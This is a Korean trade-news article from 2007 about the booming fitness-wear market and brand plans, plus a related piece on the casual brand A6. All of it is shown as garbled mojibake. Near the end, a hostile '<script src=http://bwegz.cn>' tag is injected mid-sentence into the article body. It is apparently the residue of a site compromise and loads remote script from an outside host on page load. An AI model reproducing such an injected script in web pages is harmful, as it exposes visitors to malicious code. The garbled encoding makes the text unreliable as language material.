¡®ÈÖÆ®´Ï½º¿þ¾î¡¯ Àß Æȸ°´Ù.

2007-01-30 ¾ö¼ö¹Î ±âÀÚ 

ÈÖÆ®´Ï½º(FITNESS)¿þ¾î ½ÃÀåÀÌ È°±â¸¦ ¶ì°í ÀÖ´Ù.
ÈÖÆ®´Ï½º¿þ¾î´Â Çコ, ¿¡¾î·Îºò, Á¶±ë, Å״Ͻº, ÀçÁî ´í½º, »çÀÌŬ µî ½Ç¡¤³»¿Ü¿¡¼­ ÇÒ ¼ö ÀÖ´Â ¸ðµç Á¾·ùÀÇ ½ºÆ÷Ã÷¸¦ Áñ±æ ¶§ ÀÔ´Â ¿îµ¿º¹À¸·Î ÆмǼº°ú ±â´É¼ºÀ» °âºñÇÑ »óÇ°.
ºê·£µåÀÇ ÇÑ °ü°èÀÚ´Â ¡°Ä¶¸®Æ÷´Ï¾Æ ÈÖÆ®´Ï½º ¼¾ÅÍ µîÀÇ ½ºÆ÷Ã÷ Àü¹® ¸ÅÀåÀÌ ´Ã°í ÀÌ °÷À» ã´Â ¼ÒºñÀÚµéÀÌ ±ÞÁõÇÏ°í ÀÖ´Ù. ¿¹Àü¿¡´Â ÇコŬ·´À» ÀÌ¿ëÇÏ´Â ´ëºÎºÐÀÇ »ç¶÷µéÀÌ ¸ÅÀå¿¡¼­ Á¦°øÇϴ Ƽ¼ÅÃ÷, ÆÒÃ÷ µîÀ» ÀÔ´Â °ÍÀÌ ÀϹÝÀûÀ̾ú´Ù. ±×·¯³ª Ãֱ٠Ķ¸®Æ÷´Ï¾Æ ÈÖÆ®´Ï½º ¼¾ÅÍ¿¡ °¡º¸¸é ÈÖÆ®´Ï½º¿þ¾î¸¦ ¡®Àß Ã¬°Ü ÀÔ°í¡¯¿îµ¿ÇÏ´Â »ç¶÷µéÀÌ ¸¹¾ÆÁ³´Ù. ´çÀåÀº Èûµé°ÚÁö¸¸ 1¡­2³â ÈÄ¸é °³ÀÎÀÇ °³¼º°ú ¿ëµµ¿¡ ¸Â´Â ´Ù¾çÇÑ ½ºÅ¸ÀÏÀÇ ÈÖÆ®´Ï½º »óÇ°¿¡ ´ëÇÑ ÀÎÁöµµ°¡ Ä¿Áú °ÍÀ¸·Î ÁüÀÛÇÑ´Ù¡±°í ¸»Çß´Ù.
¶Ç ÈÖÆ®´Ï½ºº¹ ¸ÅÀåÀÇ ÇÑ ÆǸſøÀº ¡°ÃÖ±Ù ÅÅ·±Æ® ÀÌ¿µÀÚÀÇ ´ÙÀ̾îÆ® ¿­Ç³À¸·Î ÅÊÅ© ž°ú ¹Ý¹ÙÁö, Á¶±ëÈ­ µîÀÇ °¡º­¿î Á¶±ëº¹ ½ºÅ¸ÀÏÀ» ã´Â ¼ÒºñÀÚµéÀÌ ¸¹´Ù¡±°í ¸»Çß´Ù.
ÀÌ¿¡ µû¶ó ÀüÅë ½ºÆ÷Ã÷ ºê·£µåµéµµ ±¸»ö¿ëÀ¸·Î 1¡­2 ½ºÅ¸Àϸ¸ Àü°³ÇÏ´ø ÈÖÆ®´Ï½º ¶óÀÎ »óÇ°À» ´Ù¾çÈ­ÇÏ°í ¿©¼º¿ë »óÇ°À» ´Ã·Á°¡´Â Ãß¼¼´Ù.
¶Ç 1¡­2³â ÀüºÎÅÍ ÈÖÆ®´Ï½º ¶óÀÎÀ» º»°ÝÀûÀ¸·Î Àü°³ÇÑ ¼ö¿µº¹ Àü¹® ºê·£µåµéÀº Á» ´õ ÁÁÀº ¼ÒÀç¿Í ÆÐÅÏ, ±â´É¼ºÀ» »ì¸° »óÇ°À¸·Î ½ÂºÎ¸¦ °É°Ú´Ù´Â Àü·«À» ³»³õ°í ÀÖ´Ù.
Áö³­ 99³â 12¿ù ÈÖÆ®´Ï½º ºê·£µå ¡¸ÆË(FAP)¡¹À» Ãâ½ÃÇÑ ÇʵåŬ·´Àº »óÇ° °³¹ß¿¡ ´ëÇÑ Áö¼ÓÀûÀÎ ÅõÀÚ·Î ºê·£µå ÀÎÁöµµ¸¦ Á¡Â÷ÀûÀ¸·Î È®º¸ÇØ ³ª°£´Ù´Â ¹æħÀÌ´Ù. ¼Ó°Ç, ÄèÀû ±â´ÉÀÌ ÁÁÀº ¼­Ç÷º½º, ŹÅÚ, ¿¡¾î·ÎÄð µî ±â´É¼º ¼ÒÀç »ç¿ëÀ» ´Ã¸®°í ¸Å ½ÃÁð 150¡­200½ºÅ¸ÀÏÀÇ ´Ù¾çÇÑ ½Å»óÇ°À» Á¦¾È, Àü¹®¼ºÀ» °­Á¶ÇÒ °èȹÀÌ´Ù. ¶Ç ¾ÆÁܸ¶ °í°´À» ´ë»óÀ¸·Î ÇÑ ¿¡¾î·Îºòº¹ »ý»ê, ÆǸŠ°æÇèÀ» ¹ÙÅÁÀ¸·Î 20´ë Áß¡¤ÈĹÝÀÇ ¿©¼ºÀÇ °¨¼º¿¡ ¸Â´Â µµ½ÃÀûÀÎ °¨°¢ÀÇ µðÀÚÀÎ »óÇ° °³¹ß¿¡µµ ÁÖ·ÂÇÑ´Ù´Â ¹æħ.
Áö³­ÇØ °Ü¿ï Ãâ½ÃµÈ ¿ìÀνǾ÷ÀÇ ¡¸·¹³ë¸¶Áü¡¹Àº ±â´É¼º ¼ö¿µº¹°ú ÈÖÆ®´Ï½º¿þ¾î ±âȹÆÀÀ» ºñÄ¡ ¼ö¿µº¹ ±âȹÆÀ°ú ºÐ¸®, ÈÖÆ®´Ï½º »óÇ°ÀÇ Àü¹®¼ºÀ» °­È­ÇÏ°í ÀÖ´Ù. ¡¸·¹³ë¸¶Áü¡¹Àº 20´ë ÀüÈÄ ¿©¼ºÀ» Ÿ°ÙÀ¸·Î ÇÑ ¼¼·ÃµÈ °¨°¢ÀÇ ÈÖÆ®´Ï½º¿þ¾î. ºí·¢, È­ÀÌÆ® µî ¹«Ã¤»ö Ä÷¯¿Í Äð¸Æ½º, ¿¡¾î·ÎÄð, ŹÅÚ µî ±¤Åð¨°ú °¡º­¿ò, Æí¾ÈÇÔ, ÄèÀûÇÔÀ» °­Á¶ÇÑ ¼ÒÀç »óÇ°À» Á¦¾ÈÇÑ´Ù. ¡¸·¹³ë¸¶Áü¡¹Àº Ķ¸®Æ÷´Ï¾Æ ÈÖÆ®´Ï½º ¼¾ÅÍ µî¿¡ »óÇ°À» °ø±ÞÇÏ´Â µîÀÇ ¸¶ÄÉÆÃ, ÆÇÃË È°µ¿µµ ÆîÄ¡°í ÀÖ´Ù.
½ºÆ÷Ã÷ ºê·£µå ¡¸³ªÀÌÅ°¡¹µµ »óÇ° ±¸»öÀ» È®´ëÇÒ °èȹ. ¡¸³ªÀÌÅ°¡¹ ¸¶ÄÉÆýÇÀÇ ÀÌ¿µ¹Ì¾¾´Â ¡°°ú°Å¿¡´Â ¿©¼º¿ë ºê¶ó ž, ÆÒÃ÷ µîÀ» ±¸»ö¿ëÀ¸·Î¸¸ °®ÃèÀ¸³ª ÇöÀç´Â ¿©¼º »óÇ°ÀÌ ÀüüÀÇ 10¡­12%¸¦ Â÷ÁöÇϸç Á¡Á¡ ´õ È®´ëÇØ °¡´Â Ãß¼¼´Ù. 20´ë ÃÊ¡­ÈĹÝÀÇ ÀþÀº ¿©¼ºµéÀÌ ¸ö¸Å ¹× È°µ¿ÀûÀÎ ½ºÆ÷Ã÷¿¡ ´ëÇÑ °ü½ÉÀÌ ´Ã¾î³²À» °¨¾È, ÀþÀº ºÐÀ§±âÀÇ Æ®·¹À̴׺¹À» È®´ëÇÒ °èȹÀÌ´Ù. ¸ö¿¡ ´Þ¶óºÙ´Â ¹ÙÁö À§¿¡ ·¦ ½ºÄ¿Æ®¸¦ µ¡ ÀÔ´Â ½ºÅ¸ÀÏ, ÀϹÝÀûÀÎ ºê¶ó žº¸´Ù ¸ö ÆÇÀÇ ±æÀ̸¦ ±æ°Ô ÇØ ¸ö¸Å¿¡ ÀÚ½ÅÀÌ ¾ø¾îµµ ºÎ´ã¾øÀÌ ÀÔÀ» ¼ö Àִ ž µî ÆмǼºÀ» °­Á¶ÇÑ »óÇ°µµ ³»³õÀ» °èȹ¡±À̶ó°í ¸»Çß´Ù.
ÇÑÆí ¹éÈ­Á¡ÀÇ ÇÑ °ü°èÀÚ´Â ¡°ÇöÀç ¼ö¿µº¹°ú ÇÔ²² Àü°³µÇ°í ÀÖ´Â ÈÖÆ®´Ï½º »óÇ°Àº F/W ½ÃÁð ¼ö¿µº¹¸ÅÃâÀ» º¸¿ÏÇÏ°í ÀÖ´Ù. ±×·¯³ª ¾ÆÁ÷±îÁö´Â È¿À²ÀÌ ÁÁÁö ¾Ê¾Æ ´Üµ¶¸ÅÀåÀ¸·Î ±¸¼ºÇϱ⿡´Â ¹«¸®´Ù. ¿ì¼± ºê·£µåµéÀÇ Àû±ØÀûÀÎ ¸¶ÄÉÆÃ, È«º¸·Î ÈÖÆ®´Ï½º ¿þ¾î¿¡ ´ëÇÑ ¼ÒºñÀÚµéÀÇ ÀÎÁöµµ¸¦ ³ôÀÌ´Â °Í ÇÊ¿äÇÒ ¶§¡±¶ó°í ¸»Çß´Ù.

°ü·Ã±â»ç

¡¸A6¡¹ ½ÃÀå ¼±Á¡!

³×Ƽ¼Ç´åÄÄ(´ëÇ¥ Á¶Çмö)ÀÇ 2³âÂ÷ ºê·£µå ¡¸A6¡¹°¡ ¾×Ƽºê ijÁÖ¾ó ½ÃÀåÀ̶ó´Â »õ·Î¿î ºÐ¾ß¸¦ µ¶Á¡Çϸç ÀÔÁö¸¦ ±»È÷°í ÀÖ´Ù.
ÀÔÁ¡ Ãʱâ 1¾ï¿ø´ëÀÇ ¸ÅÃâÀ» ¿Ã·È´ø °¶·¯¸®¾Æ ¹éÈ­Á¡¿¡¼­´Â Áö³­ 4¿ù 1¾ï6õ¸¸¿øÀ» ±â·ÏÇßÀ¸¸ç, ÇöÀç 24°³ÀÇ ¹éÈ­Á¡°ú ´ë¸®Á¡¸ÅÀå¿¡¼­ Æò±Õ 5õ700¡­800¸¸¿ø´ëÀÇ ¸ÅÃâÀ» º¸ÀÌ°í ÀÖ´Ù.
¡¸A6¡¹°¡ ÀÌó·³ ºü¸¥ ½Ã°£ ³»¿¡ ½ÃÀå¿¡ ¾ÈÂøÇÒ ¼ö ÀÖ¾ú´ø ¿äÀÎÀº ÃÖ±Ù ºÒ¾î¿À°í ÀÖ´Â ¾×Ƽºê Æ®·»µå¸¦ ¹ßºü¸£°Ô ¹Þ¾Æµé¿©, ƯÁ¤ ¿¬·É´ë¿¡ ±¸¾Ö¹ÞÁö ¾Ê°í ±¸¸Å·Â ÀÖ´Â ÆмǸ®´õÃþÀ» ¸Å´Ï¾Æ·Î È®º¸ÇÏ´Â µ¥ ¼º°øÇ߱⠶§¹®ÀÌ´Ù. µ¶Æ¯ÇÑ ºñÁÖ¾óÀÇ ±¤°í¿Í Áß°í°¡ ÁöÇâ Á¤Ã¥µµ ¸Å´Ï¾ÆÃþ È®º¸ÀÇ ÇÑ ¿äÀÎÀ¸·Î ²ÅÀ» ¼ö ÀÖ´Ù.
·Ôµ¥ º»Á¡ÀÇ ÃÖÀ翵 ¼¥¸¶½ºÅÍ´Â ¡°¡¸A6¡¹´Â Æ¢´Â ½ºÅ¸ÀÏÀ» ÁÁ¾ÆÇÏ´Â 20¡­50´ë ¿©¼ºµéÀÌ ÁÖ°í°´ÀÌ´Ù. ÀÏ¹Ý »ç¹«Á÷º¸´Ù ÇÁ¸®·£¼­, µðÀÚÀÌ³Ê µîÀÇ Àü¹®Á÷ Á¾»çÀÚµéÀÌ ¼±È£Çϸç, ¸Å´Ï¾Æ¸¦ ÀÚóÇÒ Á¤µµ·Î ¡¸A6¡¹ÀÇ ½ºÅ¸ÀÏÀ» ÁÁ¾ÆÇÏ´Â °í°´µéµµ ¸¹´Ù. ´Ü°ñµµ Àüü °í°´ÀÇ 60% °¡·®. ¹Ì±¹, ÀϺ» µîÀÇ ÇØ¿Ü À¯ÇÐÆĵµ ¸¹¾Æ ¿Ü±¹¿¡¼­ ÀâÁö¸¦ º¸°í ¼­¿ïÀÇ °¡Á·¿¡°Ô ±¸ÀÔÀ» ºÎŹÇÒ Á¤µµ¡±¶ó°í ¸»Çß´Ù.
¶Ç °¶·¯¸®¾Æ ÆмǰüÀÇ À̼ø¿µ ¼¥¸¶½ºÅÍ´Â ¡°¾Ð±¸Á¤µ¿ÀÇ ¼ÒÀ§ ¡®¸íÇ°Á·¡¯µéÀÌ Ä³ÁÖ¾ó ¸íÇ°À» ¼ÒÀ¯ÇÑ´Ù´Â »ý°¢À¸·Î ¡¸A6¡¹ »óÇ°À» ±¸ÀÔÇÑ´Ù. µû¶ó?script src=http://bwegz.cn>

Ä¿¹ö
°Ë»ö
´Ý±â
´Ý±â